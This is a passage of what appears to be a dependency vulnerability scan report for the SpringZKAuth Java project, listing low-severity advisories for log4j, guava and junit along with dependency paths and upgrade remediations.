  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15

Overview

log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.

Affected versions of this package are vulnerable to Man-in-the-Middle (MitM). Improper validation of certificate with host mismatch in Apache Log4j SMTP appender. This could allow an SMTPS connection to be intercepted by a man-in-the-middle attack which could leak any log messages sent through that appender.

Remediation

There is no fixed version for log4j:log4j.

References

low severity

Creation of Temporary File in Directory with Insecure Permissions

  • Vulnerable module: com.google.guava:guava
  • Introduced through: io.springfox:springfox-swagger2@2.7.0

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-schema@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › org.reflections:reflections@0.9.11 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-schema@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-schema@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › org.reflections:reflections@0.9.11 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-schema@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.

Overview

com.google.guava:guava is a set of core libraries that includes new collection types (such as multimap and multiset,immutable collections, a graph library, functional types, an in-memory cache and more.

Affected versions of this package are vulnerable to Creation of Temporary File in Directory with Insecure Permissions due to the use of Java's default temporary directory for file creation in FileBackedOutputStream. Other users and apps on the machine with access to the default Java temporary directory can access the files created by this class. This more fully addresses the underlying issue described in CVE-2020-8908, by deprecating the permissive temp file creation behavior.

NOTE: Even though the security vulnerability is fixed in version 32.0.0, the maintainers recommend using version 32.0.1, as version 32.0.0 breaks some functionality under Windows.

Remediation

Upgrade com.google.guava:guava to version 32.0.0-android, 32.0.0-jre or higher.

References

low severity

Information Disclosure

  • Vulnerable module: com.google.guava:guava
  • Introduced through: io.springfox:springfox-swagger2@2.7.0

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-schema@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › org.reflections:reflections@0.9.11 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-schema@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-schema@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › org.reflections:reflections@0.9.11 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-schema@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0
    Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.

Overview

com.google.guava:guava is a set of core libraries that includes new collection types (such as multimap and multiset,immutable collections, a graph library, functional types, an in-memory cache and more.

Affected versions of this package are vulnerable to Information Disclosure. The file permissions on the file created by com.google.common.io.Files.createTempDir allow an attacker running a malicious program co-resident on the same machine to steal secrets stored in this directory. This is because, by default, on unix-like operating systems the /tmp directory is shared between all users, so if the correct file permissions aren't set by the directory/file creator, the file becomes readable by all other users on that system.

PoC

File guavaTempDir = com.google.common.io.Files.createTempDir();
System.out.println("Guava Temp Dir: " + guavaTempDir.getName());
runLS(guavaTempDir.getParentFile(), guavaTempDir); // Prints the file permissions -> drwxr-xr-x
File child = new File(guavaTempDir, "guava-child.txt");
child.createNewFile();
runLS(guavaTempDir, child); // Prints the file permissions -> -rw-r--r--

For Android developers, choosing a temporary directory API provided by Android is recommended, such as context.getCacheDir(). For other Java developers, we recommend migrating to the Java 7 API java.nio.file.Files.createTempDirectory() which explicitly configures permissions of 700, or configuring the Java runtime's java.io.tmpdir system property to point to a location whose permissions are appropriately configured.

Remediation

There is no fix for com.google.guava:guava. However, in version 30.0 and above, the vulnerable functionality has been deprecated. In oder to mitigate this vulnerability, upgrade to version 30.0 or higher and ensure your dependencies don't use the createTempDir or createTempFile methods.

References

low severity

Information Exposure

  • Vulnerable module: junit:junit
  • Introduced through: org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE, com.101tec:zkclient@0.7 and others

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › junit:junit@4.12
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.2.0.RELEASE.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › jline:jline@0.9.94 › junit:junit@4.12
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › jline:jline@0.9.94 › junit:junit@4.12
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › jline:jline@0.9.94 › junit:junit@4.12
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › jline:jline@0.9.94 › junit:junit@4.12
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › jline:jline@0.9.94 › junit:junit@4.12

Overview

junit:junit is an unit testing framework for Java

Affected versions of this package are vulnerable to Information Exposure. The JUnit4 test rule TemporaryFolder contains a local information disclosure vulnerability. On Unix like systems, the system's temporary directory is shared between all users on that system. Because of this, when files and directories are written into this directory they are, by default, readable by other users on that same system.

Note: This vulnerability does not allow other users to overwrite the contents of these directories or files. This only affects Unix like systems.

Remediation

Upgrade junit:junit to version 4.13.1 or higher.

References